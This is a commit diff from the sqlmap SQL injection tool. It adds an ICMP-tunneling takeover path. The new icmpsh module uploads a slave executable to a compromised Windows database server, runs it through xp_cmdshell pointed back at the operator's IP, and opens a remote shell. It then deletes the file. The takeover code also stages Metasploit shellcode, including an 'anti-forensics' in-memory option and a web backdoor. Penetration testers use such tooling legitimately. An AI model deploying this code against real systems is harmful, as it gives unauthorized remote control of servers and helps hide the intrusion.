Implemented ICMP tunneling for out-of-band takeover (--os-pwn) as an alternative to TCP tunneling (Metasploit). It relies on icmpsh, the back-end dbms server has to be Windows as the icmpsh slave runs on Windows only for the moment. sqlmap needs to be executed as root to work.

This commit is contained in:
Bernardo Damele 2010-10-27 21:02:22 +00:00
parent 1870e17e5d
commit a391be833b
2 changed files with 217 additions and 48 deletions

118
lib/takeover/icmpsh.py Normal file
View File

@ -0,0 +1,118 @@
#!/usr/bin/env python
"""
$Id$
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
See the file 'doc/COPYING' for copying permission
"""
import codecs
import os
import re
import stat
import sys
import time
from select import select
from subprocess import PIPE
from subprocess import Popen as execute
from extra.icmpsh.icmpsh_m import main as icmpshmaster
from lib.core.common import dataToStdout
from lib.core.common import getLocalIP
from lib.core.common import getRemoteIP
from lib.core.common import getUnicode
from lib.core.common import normalizePath
from lib.core.common import ntToPosixSlashes
from lib.core.common import pollProcess
from lib.core.common import randomRange
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.exception import sqlmapDataException
from lib.core.exception import sqlmapFilePathException
from lib.core.subprocessng import blockingReadFromFD
from lib.core.subprocessng import blockingWriteToFD
from lib.core.subprocessng import setNonBlocking
from lib.request.connect import Connect as Request
from lib.takeover.upx import upx
class ICMPsh:
"""
This class defines methods to call icmpsh for plugins.
"""
def __init__(self):
self.lhostStr = None
self.rhostStr = None
self.localIP = getLocalIP()
self.remoteIP = getRemoteIP()
self.__icmpslave = normalizePath(os.path.join(paths.SQLMAP_EXTRAS_PATH, "icmpsh", "icmpsh.exe"))
def __selectRhost(self):
message = "which is the back-end DBMS address? [%s] " % self.remoteIP
address = readInput(message, default=self.remoteIP)
return address
def __selectLhost(self):
message = "which is the local address? [%s] " % self.localIP
address = readInput(message, default=self.localIP)
return address
def __prepareIngredients(self, encode=True):
self.lhostStr = self.__selectLhost()
self.rhostStr = self.__selectRhost()
def __runIcmpshMaster(self):
infoMsg = "running icmpsh master locally"
logger.info(infoMsg)
icmpshmaster(self.lhostStr, self.rhostStr)
def __runIcmpshSlaveRemote(self):
infoMsg = "running icmpsh slave remotely"
logger.info(infoMsg)
self.__icmpshSlaveCmd = "%s -t %s" % (self.__icmpslaveRemote, self.lhostStr)
cmd = "%s &" % self.__icmpshSlaveCmd
if kb.dbms == "Microsoft SQL Server" and (kb.stackedTest or conf.direct):
cmd = self.xpCmdshellForgeCmd(cmd)
self.execCmd(cmd, silent=True)
def uploadIcmpshSlave(self, web=False):
self.__randStr = randomStr(lowercase=True)
if web:
self.__icmpslaveRemote = "%s/tmpi%s.exe" % (self.webDirectory, self.__randStr)
else:
self.__icmpslaveRemote = "%s/tmpi%s.exe" % (conf.tmpPath, self.__randStr)
self.__icmpslaveRemote = ntToPosixSlashes(normalizePath(self.__icmpslaveRemote))
logger.info("uploading icmpsh slave to '%s'" % self.__icmpslaveRemote)
if web:
self.webFileUpload(self.__icmpslave, self.__icmpslaveRemote, self.webDirectory)
else:
self.writeFile(self.__icmpslave, self.__icmpslaveRemote, "binary", False)
def icmpPwn(self):
self.__prepareIngredients()
self.__runIcmpshSlaveRemote()
self.__runIcmpshMaster()
debugMsg = "icmpsh master exited"
logger.debug(debugMsg)
self.delRemoteFile(self.__icmpslaveRemote, doubleslash=True)

View File

@ -8,21 +8,24 @@ See the file 'doc/COPYING' for copying permission
"""
from lib.core.common import readInput
from lib.core.common import runningAsAdmin
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.exception import sqlmapMissingPrivileges
from lib.core.exception import sqlmapNotVulnerableException
from lib.core.exception import sqlmapUndefinedMethod
from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.takeover.abstraction import Abstraction
from lib.takeover.icmpsh import ICMPsh
from lib.takeover.metasploit import Metasploit
from lib.takeover.registry import Registry
from lib.techniques.outband.stacked import stackedTest
from plugins.generic.misc import Miscellaneous
class Takeover(Abstraction, Metasploit, Registry, Miscellaneous):
class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
"""
This class defines generic OS takeover functionalities for plugins.
"""
@ -32,6 +35,7 @@ class Takeover(Abstraction, Metasploit, Registry, Miscellaneous):
self.tblField = "data"
Abstraction.__init__(self)
ICMPsh.__init__(self)
def osCmd(self):
stackedTest()
@ -84,64 +88,105 @@ class Takeover(Abstraction, Metasploit, Registry, Miscellaneous):
stackedTest()
self.checkDbmsOs()
msg = "how do you want to establish the tunnel?"
msg += "\n[1] TCP: Metasploit Framework (default)"
msg += "\n[2] ICMP: icmpsh - ICMP tunneling"
while True:
tunnel = readInput(msg, default=1)
if isinstance(tunnel, basestring) and tunnel.isdigit() and int(tunnel) in ( 1, 2 ):
tunnel = int(tunnel)
break
elif isinstance(tunnel, int) and tunnel in ( 1, 2 ):
break
else:
warnMsg = "invalid value, valid values are 1 and 2"
logger.warn(warnMsg)
if tunnel == 2 and kb.dbms != "Windows":
errMsg = "icmpsh slave is only supported on Windows at "
errMsg += "the moment. The back-end database server is "
errMsg += "not. sqlmap will fallback to TCP (Metasploit)"
logger.error(errMsg)
tunnel = 1
if tunnel == 2:
isAdmin = runningAsAdmin()
if isAdmin is not True:
errMsg = "you need to run sqlmap as an administrator "
errMsg += "if you want to establish an out-of-band ICMP "
errMsg += "tunnel because icmpsh uses raw sockets to "
errMsg += "sniff and craft ICMP packets"
raise sqlmapMissingPrivileges, errMsg
if kb.stackedTest or conf.direct:
web = False
self.initEnv(web=web)
self.getRemoteTempPath()
self.initEnv(web=web)
if kb.dbms in ( "MySQL", "PostgreSQL" ):
msg = "how do you want to execute the Metasploit shellcode "
msg += "on the back-end database underlying operating system?"
msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
msg += "\n[2] Stand-alone payload stager (file system way)"
if tunnel == 1:
if kb.dbms in ( "MySQL", "PostgreSQL" ):
msg = "how do you want to execute the Metasploit shellcode "
msg += "on the back-end database underlying operating system?"
msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
msg += "\n[2] Stand-alone payload stager (file system way)"
while True:
choice = readInput(msg, default=1)
while True:
choice = readInput(msg, default=1)
if isinstance(choice, basestring) and choice.isdigit() and int(choice) in ( 1, 2 ):
choice = int(choice)
break
if isinstance(choice, basestring) and choice.isdigit() and int(choice) in ( 1, 2 ):
choice = int(choice)
break
elif isinstance(choice, int) and choice in ( 1, 2 ):
break
elif isinstance(choice, int) and choice in ( 1, 2 ):
break
else:
warnMsg = "invalid value, valid values are 1 and 2"
logger.warn(warnMsg)
else:
warnMsg = "invalid value, valid values are 1 and 2"
logger.warn(warnMsg)
if choice == 1:
goUdf = True
if choice == 1:
goUdf = True
if goUdf:
self.createMsfShellcode(exitfunc="thread", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
else:
self.createMsfPayloadStager()
self.uploadMsfPayloadStager()
if goUdf:
self.createMsfShellcode(exitfunc="thread", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
else:
self.createMsfPayloadStager()
self.uploadMsfPayloadStager()
if kb.os == "Windows" and conf.privEsc:
if kb.dbms == "MySQL":
debugMsg = "by default MySQL on Windows runs as SYSTEM "
debugMsg += "user, no need to privilege escalate"
logger.debug(debugMsg)
if kb.os == "Windows" and conf.privEsc:
if kb.dbms == "MySQL":
debugMsg = "by default MySQL on Windows runs as SYSTEM "
debugMsg += "user, no need to privilege escalate"
logger.debug(debugMsg)
elif kb.os != "Windows" and conf.privEsc:
# Unset --priv-esc if the back-end DBMS underlying operating
# system is not Windows
conf.privEsc = False
elif kb.os != "Windows" and conf.privEsc:
# Unset --priv-esc if the back-end DBMS underlying operating
# system is not Windows
conf.privEsc = False
warnMsg = "sqlmap does not implement any operating system "
warnMsg += "user privilege escalation technique when the "
warnMsg += "back-end DBMS underlying system is not Windows"
logger.warn(warnMsg)
warnMsg = "sqlmap does not implement any operating system "
warnMsg += "user privilege escalation technique when the "
warnMsg += "back-end DBMS underlying system is not Windows"
logger.warn(warnMsg)
elif tunnel == 2:
self.uploadIcmpshSlave(web=web)
self.icmpPwn()
elif not kb.stackedTest and kb.dbms == "MySQL":
infoMsg = "going to use a web backdoor to execute the "
infoMsg += "payload stager"
logger.info(infoMsg)
web = True
infoMsg = "going to use a web backdoor to establish the tunnel"
logger.info(infoMsg)
self.initEnv(web=web)
if self.webBackdoorUrl:
@ -156,18 +201,24 @@ class Takeover(Abstraction, Metasploit, Registry, Miscellaneous):
logger.warn(warnMsg)
self.getRemoteTempPath()
self.createMsfPayloadStager()
self.uploadMsfPayloadStager(web=True)
if tunnel == 1:
self.createMsfPayloadStager()
self.uploadMsfPayloadStager(web=web)
elif tunnel == 2:
self.uploadIcmpshSlave(web=web)
self.icmpPwn()
else:
errMsg = "unable to prompt for an out-of-band session via "
errMsg += "the back-end DBMS"
raise sqlmapNotVulnerableException(errMsg)
if not web or (web and self.webBackdoorUrl is not None):
self.pwn(goUdf)
if tunnel == 1:
if not web or (web and self.webBackdoorUrl is not None):
self.pwn(goUdf)
if not conf.cleanup:
self.cleanup()
if not conf.cleanup:
self.cleanup()
def osSmb(self):
stackedTest()